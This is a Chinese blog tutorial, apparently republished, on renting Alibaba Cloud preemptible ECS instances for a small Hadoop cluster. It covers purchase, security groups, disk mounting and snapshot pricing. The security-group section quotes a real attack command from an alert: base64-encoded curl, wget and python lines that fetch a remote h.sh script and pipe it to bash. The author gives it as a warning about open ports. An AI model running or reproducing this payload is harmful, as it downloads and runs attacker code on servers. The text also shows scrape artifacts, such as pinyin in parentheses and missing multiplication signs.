前言

由于準(zhǔn)備做一些離線計(jì)算和實(shí)時(shí)計(jì)算的模擬, 發(fā)現(xiàn)某些教程內(nèi)的阿里云還挺好用的, 在這里把相關(guān)的經(jīng)驗(yàn)分享給大家.

簡(jiǎn)單的心路歷程: 起先筆者搭建了一套本地集群. 但是后來(lái)發(fā)現(xiàn), 因?yàn)闆](méi)用網(wǎng)絡(luò)IP的反穿, 本地的集群的網(wǎng)絡(luò)訪問(wèn)非常不便. 其次, 集群的啟停, 網(wǎng)絡(luò)和磁盤管理都非常麻煩, 并且, 很多時(shí)候, 集群只在嘗試的那一段時(shí)間才會(huì)使用. 為此, 試用了阿里云的搶占式集群方式, 發(fā)現(xiàn)這種的使用, 非常適合學(xué)習(xí)和研究.

當(dāng)然, 如果你擁有穩(wěn)定的硬件資源, 你也完全可以使用本地集群. 此處只是給出一套使用方案. [因?yàn)榇蠖鄶?shù)我們的機(jī)器都是16G, 32G. 并且并沒(méi)有穩(wěn)定的網(wǎng)絡(luò)環(huán)境. 對(duì)于大數(shù)據(jù)集群, 動(dòng)輒8G3 16G3的集群需求, 總是感覺(jué)捉襟見(jiàn)肘.]

阿里云機(jī)器購(gòu)買 & 相關(guān)配置構(gòu)建

前置條件: 阿里云預(yù)留100R的資金. [阿里云只有超過(guò)100R才能購(gòu)買搶占式的實(shí)例].

• 進(jìn)入ECS控制臺(tái) 隨后創(chuàng)建實(shí)例
  

• 隨后, 這里我們選擇搶占式的實(shí)例. 這樣他就是按時(shí)間收費(fèi).
  

• 選擇相關(guān)的磁盤配置和系統(tǒng)配置

• 選擇 無(wú)確定使用時(shí)長(zhǎng) (此處如果選擇1小時(shí), 可能某些情況, 有被自動(dòng)釋放的風(fēng)險(xiǎn).)

• 選擇相應(yīng)的需要機(jī)器的臺(tái)數(shù). (此處筆者選擇3臺(tái))

• 選擇相應(yīng)的系統(tǒng). 這里推薦 CentOS 7.x 和 Ubuntu系統(tǒng) , (如果有其他系統(tǒng)指定的需要, 肯定不需要我在這里廢話) (筆者一般使用CentOS 7.6系統(tǒng))

• 選擇磁盤. (注意, 我們初次部署圓盤的時(shí)候, 一定要把此處的非隨實(shí)例釋放, 進(jìn)行勾選.)

• 選擇相應(yīng)的帶寬. 我們此處選擇按量收費(fèi). (因?yàn)槭菍W(xué)習(xí)使用, 訪問(wèn)外網(wǎng)的幾率比較小. 此處可以按照各自的安排選擇.)
  

• 配置相關(guān)的系統(tǒng)資源
  

• 設(shè)置相應(yīng)的密碼

• 設(shè)置相應(yīng)的主機(jī)名稱. 此處如果一次購(gòu)買多個(gè)機(jī)器的話, 他是可以設(shè)置某些名稱的構(gòu)建方法的. 按照手冊(cè)設(shè)置相應(yīng)的名稱即可. (筆者這邊設(shè)置為 hadoop[001,3]. 希望3臺(tái)主機(jī)的名稱為hadoop001, hadoop002, hadoop003.) (此處如果不會(huì)設(shè)置, 也可以不設(shè)置. )

通過(guò) name_prefix[begin_number,bits]name_suffix 格式可給各個(gè) ECS 實(shí)例設(shè)置不同的實(shí)例名。例如：my_name[99,3]ecs ，若創(chuàng)建 2 臺(tái)實(shí)例最終生成的名稱分別為：my_name099ecs、my_name100ecs，begin_number 取值區(qū)間為 [0,999999]，bits 取值區(qū)間為 [1,6]，查看詳情>

• 點(diǎn)擊同意協(xié)議
  最終, 你就可以花費(fèi)0.25的價(jià)格, 暫時(shí)租借使用3臺(tái) 2H8G的云主機(jī)了. 如果你的集群需要更高的內(nèi)存或者CPU, 可以在初次購(gòu)買或者購(gòu)買后進(jìn)行升降配操作.

• 隨后, 我們就可以在控制臺(tái)列表上, 看見(jiàn)我們本次購(gòu)買的3臺(tái)機(jī)器.
  
  比較值得注意的是. 我們每次購(gòu)買機(jī)器時(shí), 內(nèi)網(wǎng)地址和外網(wǎng)地址都可能會(huì)變化的. (為此, 我本地就不打碼了, heihei)

ECS機(jī)器相關(guān)配置

網(wǎng)絡(luò)安全組

值得注意的是, 阿里云的每個(gè)機(jī)器的網(wǎng)絡(luò), 它只開(kāi)放一些默認(rèn)的端口號(hào). 其余的端口號(hào)是默認(rèn)不開(kāi)放的. 如果想要設(shè)置, 可以前往此處設(shè)置. (比如你安裝了一個(gè)mysql數(shù)據(jù)庫(kù), 那么就需要設(shè)置3306端口)

• 另外. 值得一提的是. 如果你只是臨時(shí)訪問(wèn), 完全可以通過(guò)百度查詢先查詢出當(dāng)前網(wǎng)絡(luò)的外網(wǎng)ip. 隨后設(shè)置在此處. 這樣可以非常好的避免相關(guān)的網(wǎng)絡(luò)攻擊.
  
  比如我查詢到我本機(jī)的ip為123.123.123.123, 我只想開(kāi)放22端口或者3306端口給這個(gè)ip的相關(guān)用戶訪問(wèn), 可以參照上述的配置進(jìn)行配置.

相關(guān)IP攻擊 & 告警

在使用的過(guò)程中. 我收到了阿里云的這樣的提示短信, 提示有惡性攻擊.

/bin/bash -c if type curl >/dev/null; then echo Y3VybCAtZnNTTCBodHRwOi8va2lcXHNcXHMuYS1kXFxvZy50XFxvXHAvYjJmNjI4L2guc2gK|base64 -d|bash|bash; fi;if type wget >/dev/null; then echo d2dldCAtcSAtTy0gIGh0dHA6Ly9raVxcc1xccy5hLWRcXG9nLnRcXG9ccC9iMmY2MjgvaC5zaAo=|base64 -d|bash|bash; fi;if type python >/dev/null;then echo cHl0aG9uIC1jICJpbXBvcnQgdXJsbGliMjsgcHJpbnQgdXJsbGliMi51cmxvcGVuKCdodHRwOi8va2lcXHNcXHMuYS1kXFxvZy50XFxvXHAvaC5zaCcpLnJlYWQoKSIgPi4xO2NobW9kICt4IC4xOy4vLjEK|base64 -d|bash; fi

此處curl命令后, 乍一看是一串亂碼. 其實(shí)他是通過(guò)base64加密的. 之前有了機(jī)器被拉去挖礦的經(jīng)驗(yàn), 此處個(gè)人感覺(jué)端口的設(shè)置還是小心為上.

云盤的掛載

如果你第一次選擇了, 停機(jī)磁盤不進(jìn)行釋放. (這樣設(shè)置也是為了我們能快速構(gòu)建環(huán)境, 雖然會(huì)花費(fèi)一些錢, 但是比較推薦這樣購(gòu)買3塊云盤.)

• 可以看到, 選擇云盤的界面有3塊已經(jīng)掛載的云盤. 這3塊就是我們本次申請(qǐng)ECS機(jī)器附帶的.
• 還可以看到. 有3塊未掛載的云盤. 此處3塊云盤是我們之前購(gòu)買的. 是沒(méi)有掛載上的.

我們可以先進(jìn)入機(jī)器內(nèi)部進(jìn)行查看. 比如我登錄hadoop001的機(jī)器.

[root@hadoop001 ~]# ls
[root@hadoop001 ~]# df -h
Filesystem      Size  Used Avail Use% Mounted on
/dev/vda1        40G  1.7G   36G   5% /
devtmpfs        3.9G     0  3.9G   0% /dev
tmpfs           3.9G     0  3.9G   0% /dev/shm
tmpfs           3.9G  424K  3.9G   1% /run
tmpfs           3.9G     0  3.9G   0% /sys/fs/cgroup
tmpfs           783M     0  783M   0% /run/user/0

• 可以看到此處100G的云盤是沒(méi)有掛載的. 此時(shí)我們選擇掛載云盤
  
• 選擇需要掛載的機(jī)器. (此外, 個(gè)人建議. )
  
  

···
[root@hadoop001 /]# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/vdb1 99G 9.0G 86G 10% /
devtmpfs 3.9G 0 3.9G 0% /dev
tmpfs 3.9G 0 3.9G 0% /dev/shm
tmpfs 3.9G 444K 3.9G 1% /run
tmpfs 3.9G 0 3.9G 0% /sys/fs/cgroup
tmpfs 783M 0 783M 0% /run/user/0
[root@hadoop001 /]#
···

釋放

比較值得注意的是. 釋放的時(shí)候, 可以選擇保留某些盤, 防止以后還需要進(jìn)行重復(fù)操作.

設(shè)置本地host & 設(shè)置機(jī)器相關(guān)的免密

關(guān)于各個(gè)系統(tǒng)hosts的設(shè)置和SSH免密的配置可以見(jiàn)筆者的其他文章.

云盤 & 快照 & Ecs備份相關(guān)的收費(fèi)計(jì)算

• 云盤
  
  我們使用的是高效云盤. 如果是40G3, 價(jià)格為 143=42R 如果是100G3, 價(jià)格為 353=105G.

關(guān)于云盤的使用. 我們主要需要注意的是1. 是否隨實(shí)例釋放. 2. 云盤的地址和區(qū)域. 此處會(huì)和掛載的服務(wù)器相關(guān)

https://www.aliyun.com/price/product?spm=a2c4g.11186623.0.0.23af62e4y2ebMe#/disk/detail/disk

• 快照

阿里云的快照比較雞肋. 只能對(duì)于某個(gè)云盤設(shè)置. 不過(guò)如果你的云盤很長(zhǎng)時(shí)間都不需要使用, 可以將其打成快照, 隨后釋放云盤. 這樣可以減少一定的開(kāi)銷. 阿里云的云盤還比較方便, 云盤會(huì)對(duì)內(nèi)容進(jìn)行壓縮, 比如你云盤100G, 只使用了10G, 那么鏡像的大小只有10G, 這會(huì)減少比較多的開(kāi)銷.

云盤的價(jià)格計(jì)算大致如下所示:

計(jì)費(fèi)示例：假設(shè)杭州地域有100 GB快照，那么1小時(shí)0.016元，1天0.4元。0.43365=438.
公式：（0.12元/GB/月100 GB1月）?30天?24小時(shí)≈0.016元/小時(shí)。
https://help.aliyun.com/document_detail/56159.html?spm=5176.2020520101snapshot.usage.sizeRule.40b14df5aun6iw

Reference

[1]. [https://www.aliyun.com/] (https://www.aliyun.com/)文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-787568.html

到了這里，關(guān)于[阿里云] 10分鐘帶你玩轉(zhuǎn)阿里云ECS和云盤 (大數(shù)據(jù)上云必備)的文章就介紹完了。如果您還想了解更多內(nèi)容，請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章，希望大家以后多多支持TOY模板網(wǎng)！